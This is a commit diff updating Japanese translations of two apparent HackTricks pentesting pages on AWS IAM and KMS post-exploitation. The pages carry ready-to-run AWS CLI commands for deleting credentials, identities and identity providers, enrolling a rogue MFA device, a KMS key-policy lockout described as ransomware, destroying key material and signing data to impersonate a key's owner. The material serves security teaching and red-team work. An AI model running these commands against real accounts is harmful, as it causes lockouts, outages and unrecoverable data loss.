Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2025-10-07 09:33:54 +00:00
parent 286422bee8
commit 1f190a07bc
2 changed files with 172 additions and 42 deletions

View File

@@ -1,24 +1,24 @@
# AWS - IAM ポストエクスプロイテーション
# AWS - IAM Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## IAM
IAM アクセスに関する詳細情報:
For more information about IAM access:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
## 混乱した代理人問題
## Confused Deputy 問題
もしあなたが **外部アカウント (A)** にあなたのアカウントの **ロール** へのアクセスを許可すると、あなたは **その外部アカウントに正確にアクセスできる人が誰かについて可視性がゼロ** になるでしょう。これは問題です。なぜなら別の外部アカウント (B) が外部アカウント (A) にアクセスできる場合、**Bあなたのアカウントにアクセスでき可能性があるからです**
もしあなたが自分のアカウント内の**role**に外部アカウントAがアクセスできるようにすると、外部アカウントが具体的に誰にアクセスできるかについて**可視性はほぼゼロ**になります。これは問題です。なぜなら別の外部アカウントBが外部アカウントAにアクセスできる場合、**Bあなたのアカウントにアクセスできてしまう可能性がある**からです。
したがって、外部アカウントあなたのアカウントのロールにアクセスすることを許可する際に`ExternalId` を指定することが可能です。これは外部アカウント (A) が **あなたの組織のロールを引き受けるために指定する必要がある** "秘密" の文字列です。**外部アカウント B はこの文字列を知らないため**、A にアクセスできても、**あなたのロールにアクセスすることはできません**。
そのため、外部アカウントあなたのアカウントのroleへのアクセスを許可する際に、`ExternalId`を指定できます。これは外部アカウントAがあなたの組織のroleを**assume the role**するために**指定する必要がある**“シークレット”文字列です。外部アカウントBはこの文字列を知らないため、たとえBがAにアクセス権を持っていても、**あなたのroleにアクセスできなくなります**。
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
ただし、この `ExternalId` の "秘密" は **秘密ではありません**。IAM のロール引き受けポリシーを **読むことができるは誰でもそれを見ることができます**。しかし、外部アカウント A がそれを知っていて、外部アカウント **B がそれを知らない限り、B が A を悪用してあなたのロールにアクセスすることを防ます**
ただし、この`ExternalId`“シークレット”は**真のシークレットではない**点に注意してください。IAMのassume role policyを**読むことができるは誰でもそれを確認できる**からです。しかし、外部アカウントAがその文字列を知っており、外部アカウントB知らない限り、**BがAを悪用してあなたのroleにアクセスすることを防ます**。
例:
```json
@@ -39,11 +39,11 @@ IAM アクセスに関する詳細情報:
}
```
> [!WARNING]
> 攻撃者が混乱した代理人を悪用するには、現在のアカウントのプリンシパルが他のアカウントのロールを偽装できるかどうかを何らかの方法で見つける必要があります
> 攻撃者が confused deputy を悪用するには、現在のアカウントの principals が他のアカウントの roles を impersonate できるかどうかを何らかの方法で特定する必要があ
### 予期しない信頼
### 予期しない Trusts
#### プリンシパルとしてのワイルドカード
#### ワイルドカードを principal として
```json
{
"Action": "sts:AssumeRole",
@@ -51,9 +51,9 @@ IAM アクセスに関する詳細情報:
"Principal": { "AWS": "*" }
}
```
このポリシーは**すべてのAWS**がロールを引き受けることを許可します。
このポリシーは **すべての AWS** がロールを引き受けることを許可します。
#### サービスを主体として
#### サービスをプリンシパルとして
```json
{
"Action": "lambda:InvokeFunction",
@@ -62,9 +62,9 @@ IAM アクセスに関する詳細情報:
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
このポリシーは**任意のアカウント**が自分のapigatewayを設定してこのLambdaを呼び出すことを許可します。
このポリシーは**任意のアカウント**が自分の apigateway を設定してこの Lambda を呼び出すことを許可します。
#### S3をプリンシパルとして
#### S3 をプリンシパルとして
```json
"Condition": {
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
@@ -73,7 +73,7 @@ IAM アクセスに関する詳細情報:
}
}
```
S3バケットがプリンシパルとして指定されている場合、S3バケットにはアカウントIDがないため、**バケットを削除し攻撃者が自分のアカウントで作成した場合**、彼らはこれを悪用することができます。
S3 バケットが principal として指定されている場合、S3 バケットにはアカウントIDがないため、あなたが **バケットを削除し攻撃者が自分のアカウントでそれを作成した** 場合、攻撃者はこれを悪用できます。
#### サポートされていません
```json
@@ -84,9 +84,82 @@ S3バケットがプリンシパルとして指定されている場合、S3バ
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
```
Confused Deputyの問題を回避する一般的な方法は、`AWS:SourceArn`を使用して起源ARNを確認する条件を使用することです。しかし、**一部のサービスはそれをサポートしていない可能性があります**いくつかの情報源によるとCloudTrailのように
A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources).
## 参考文献
### 認証情報の削除
With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — an actor can remove access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates or CloudFront public keys, or disassociate roles from instance profiles. Such actions can immediately block legitimate users and applications and cause denial-of-service or loss of access for systems that depend on those credentials, so these IAM permissions must be tightly restricted and monitored.
```bash
# Remove Access Key of a user
aws iam delete-access-key \
--user-name <Username> \
--access-key-id AKIAIOSFODNN7EXAMPLE
## Remove ssh key of a user
aws iam delete-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
```
### アイデンティティの削除
`iam:DeleteUser``iam:DeleteGroup``iam:DeleteRole`、または`iam:RemoveUserFromGroup`のような権限があれば、アクターはユーザー、ロール、グループを削除したり、グループのメンバーシップを変更したりして、アイデンティティやそれに関連する痕跡を消すことができます。これにより、これらのアイデンティティに依存する人やサービスのアクセスが即座に失われ、denial-of-service やアクセス喪失を引き起こす可能性があるため、これらの IAM アクションは厳格に制限・監視する必要があります。
```bash
# Delete a user
aws iam delete-user \
--user-name <Username>
# Delete a group
aws iam delete-group \
--group-name <Username>
# Delete a role
aws iam delete-role \
--role-name <Role>
```
###
次のいずれかの権限 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — を持つ主体は、マネージド/インラインポリシーを削除またはデタッチし、ポリシーのバージョンや権限境界を削除し、ユーザー、グループ、またはロールからポリシーを切り離すことができます。これにより認可が失われたり権限モデルが変更されたりし、これらのポリシーに依存していたプリンシパルが即座にアクセスを失うかサービス拒否に陥る可能性があるため、これらの IAM アクションは厳格に制限し監視する必要があります。
```bash
# Delete a group policy
aws iam delete-group-policy \
--group-name <GroupName> \
--policy-name <PolicyName>
# Delete a role policy
aws iam delete-role-policy \
--role-name <RoleName> \
--policy-name <PolicyName>
```
### フェデレーテッド・アイデンティティの削除
`iam:DeleteOpenIDConnectProvider``iam:DeleteSAMLProvider`、および `iam:RemoveClientIDFromOpenIDConnectProvider` を使用すると、攻撃者は OIDC/SAML の ID プロバイダーを削除したりクライアントID を削除したりできます。これによりフェデレーテッド認証が機能しなくなり、トークンの検証が行えず、IdP または設定が復旧するまで SSO に依存するユーザーやサービスへのアクセスが直ちに拒否されます。
```bash
# Delete OIDCP provider
aws iam delete-open-id-connect-provider \
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
# Delete SAML provider
aws iam delete-saml-provider \
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
```
### Illegitimate MFA Activation
`iam:EnableMFADevice` を使用すると、攻撃者はユーザーのアイデンティティにMFAデバイスを登録し、正当なユーザーのサインインを防止できます。 不正なMFAが有効化されると、そのデバイスが削除またはリセットされるまでユーザーがロックアウトされる可能性があります複数のMFAデバイスが登録されている場合、サインインにはいずれか1つのデバイスのみが必要なため、この攻撃はアクセスの拒否には影響しません
```bash
aws iam enable-mfa-device \
--user-name <Username> \
--serial-number arn:aws:iam::111122223333:mfa/alice \
--authentication-code1 123456 \
--authentication-code2 789012
```
### 証明書/キーのメタデータ改ざん
`iam:UpdateSSHPublicKey``iam:UpdateCloudFrontPublicKey``iam:UpdateSigningCertificate``iam:UpdateServerCertificate` を使用すると、攻撃者は公開鍵や証明書のステータスやメタデータを変更できます。キーや証明書を無効化したり参照を変更したりすることで、SSH認証を破壊したり、X.509/TLS検証を無効化したりして、それらの資格情報に依存するサービスを即座に中断させ、アクセスや可用性の喪失を引き起こす可能性があります。
```bash
aws iam update-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
--status Inactive
aws iam update-server-certificate \
--server-certificate-name <Certificate_Name> \
--new-path /prod/
```
## 参考資料
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)

View File

@@ -1,26 +1,26 @@
# AWS - KMS ポストエクスプロイテーション
# AWS - KMS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## KMS
詳細については、以下を確認してください:
For more information check:
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
### 情報の暗号化/復号化
### 暗号化/復号化情報
`fileb://``file://` は、AWS CLI コマンドでローカルファイルのパスを指定するために使用される URI スキームです
`fileb://``file://` は、ローカルファイルのパスを指定するために AWS CLI コマンドで使用される URI スキームです:
- `fileb://:` バイナリモードでファイルを読み取ります。通常、非テキストファイルに使用されます。
- `file://:` テキストモードでファイルを読み取ります。通常、プレーンテキストファイル、スクリプト、または特別なエンコーディング要件のない JSON に使用されます。
- `fileb://:` はファイルをバイナリモードで読み込み、非テキストファイルに一般的に使用されます。
- `file://:` はファイルをテキストモードで読み込み、プレーンテキスト、スクリプト、または特別なエンコーディングを必要としない JSON に通常使用されます。
> [!TIP]
> ファイル内のデータを復号したい場合、そのファイルにはバイナリデータが含まれている必要があります。base64 エンコードされたデータではありません。(fileb://
> 注意: ファイル内のデータを復号したい場合、ファイルには base64 エンコードされたデータではなくバイナリデータが含まれている必要があります。(fileb://)
- **対称**キーを使用して
- **対称** を使用する場合
```bash
# Encrypt data
aws kms encrypt \
@@ -38,7 +38,7 @@ aws kms decrypt \
--query Plaintext | base64 \
--decode
```
- **非対称**キーを使用する:
- **非対称**を使用する:
```bash
# Encrypt data
aws kms encrypt \
@@ -58,16 +58,16 @@ aws kms decrypt \
--query Plaintext | base64 \
--decode
```
### KMS ランサムウェア
### KMS Ransomware
特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更し、**自分のアカウントに対してアクセスを付与し**、正当なアカウントに付与されたアクセスを削除することができます。
KMS に対する特権アクセスを持つ attacker は、キーの KMS policy を変更し、**自分のアカウントに対するアクセスを付与することで**、legit account に付与されていたアクセスを削除できます。
その結果、正当なアカウントのユーザーは、これらのキーで暗号化されたサービスの情報にアクセスできなくなり、アカウントに対して簡単だが効果的なランサムウェアを作成します。
その結果、legit account のユーザーは、これらのキーで暗号化された任意のサービスの情報にアクセスできなくなり、アカウント上で簡単かつ効果的な ransomware を作り出します。
> [!WARNING]
> **AWS 管理キーはこの攻撃の影響を受けません**、**顧客管理キー**のみが影響を受けます。
> 注意: **AWS managed keys aren't affected**。影響を受けるのは **Customer managed keys** のみす。
> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要があることに注意してください(このオプションがウェブコンソールにないため、この攻撃は CLI からのみ可能です)。
> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要がある点にも注意してください(web console にこのオプションがないため、この攻撃は CLI からのみ実行可能になります)。
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,34 +92,91 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
> 注意してください。ポリシーを変更して外部アカウントのみアクセスを許可した場合、その外部アカウントから新しいポリシーを設定して**元のアカウントにアクセスを戻そうとしても、クロスアカウントからPut Policyアクションを実行できないため、できません**
> ポリシーを変更して外部アカウントのみアクセスを与え、その外部アカウントから新しいポリシーを設定して**元のアカウントにアクセスを戻そうとしても、Put Polocy action cannot be performed from a cross account**ため、アクセスを戻すことはできない点に注意してください
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
### 一般的なKMSランサムウェア
### Generic KMS Ransomware
#### グローバルKMSランサムウェア
グローバルKMS Ransomware を実行する別の方法として、以下の手順が考えられます:
グローバルKMSランサムウェアを実行する別の方法があり、以下の手順が含まれます
- 攻撃者がインポートした **key with a key material** を持つ新しいキーを作成する
- 被害者が以前のバージョンで暗号化した古いデータを新しいキーで **Re-encrypt older data** する
- **Delete the KMS key**
- そうすると、元の **key material** を持つ攻撃者だけが暗号化データを復号できるようになる
- 攻撃者によってインポートされた**キー素材**を持つ新しい**キーを作成する**
- **以前のバージョンで暗号化された古いデータを新しいもので再暗号化する**
- **KMSキーを削除する**
- これで、元のキー素材を持つ攻撃者のみが暗号化されたデータを復号化できるようになります
### Delete Keys via kms:DeleteImportedKeyMaterial
### キーを破壊する
`kms:DeleteImportedKeyMaterial` 権限があれば、アクターは `Origin=EXTERNAL` を持つ CMKsキー素材をインポートしている CMKsからインポートされた key material を削除でき、それらはデータを復号できなくなります。この操作は破壊的かつ不可逆であり、互換性のある素材が再インポートされない限り元に戻せません。そのため、攻撃者は暗号化された情報を恒久的にアクセス不能にし、ransomware-like なデータ損失を実質的に引き起こすことが可能です。
```bash
# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
aws kms delete-imported-key-material --key-id <Key_ID>
```
### Destroy keys
keys を破壊することで DoS を実行できる。
```bash
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
```
> [!CAUTION]
> AWSは現在**クロスアカウントからの以前のアクションの実行を防止しています**
> 注意: AWS は現在 **これらの操作がクロスアカウントから実行されることを防いでいます:**
### Alias を変更または削除
この攻撃は AWS KMS の aliases を削除またはリダイレクトし、キーの解決を破壊してそれらの aliases に依存するサービスで即時の障害を引き起こし、結果として denial-of-service を招きます。`kms:DeleteAlias``kms:UpdateAlias` のような権限があれば、攻撃者は aliases を削除または再指向して暗号操作(例: encrypt, describeを妨害できます。key ID の代わりに alias を参照しているサービスは、alias が復元されるか正しく再マップされるまで失敗する可能性があります。
```bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
```
### Cancel Key Deletion
`kms:CancelKeyDeletion``kms:EnableKey` のような権限があれば、攻撃者は AWS KMS customer master key の予定された削除を取り消し、後で再度有効化できます。こうすることで鍵が回復(最初は Disabled stateし、以前に保護されていたデータを復号する能力が復元され、exfiltration を可能にします。
```bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
```
### Disable Key
`kms:DisableKey` 権限を持つアクターは、AWS KMS の customer master key を無効化でき、暗号化や復号に使用できなくします。これによりその CMK に依存するサービスのアクセスが途絶し、キーが再度有効化されるまで即時の障害や denial-of-service を引き起こす可能性があります。
```bash
aws kms disable-key \
--key-id <key_id>
```
### 共有シークレットの導出
`kms:DeriveSharedSecret` 権限があれば、主体は KMSで保持されている秘密鍵とユーザー提供の公開鍵を用いて ECDH の共有シークレットを計算できます。
```bash
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
```
### Impersonation via kms:Sign
`kms:Sign` 権限があると、攻撃者は KMS に保存された CMK を使って秘密鍵を露出することなくデータに暗号学的な署名を行え、正当な署名を生成してなりすましや不正な操作の承認に利用することができます。
```bash
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
```
### DoS with Custom Key Stores
`kms:DeleteCustomKeyStore``kms:DisconnectCustomKeyStore``kms:UpdateCustomKeyStore` のような権限があれば、攻撃者は AWS KMS Custom Key Store (CKS) を変更、切断、または削除でき、そのマスターキーを使用不能にできます。これにより、これらのキーに依存するサービスの暗号化、復号、署名操作が停止し、即時のサービス拒否を引き起こす可能性があります。したがって、これらの権限を制限し監視することが重要です。
```bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
```
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
{{#include ../../../banners/hacktricks-training.md}}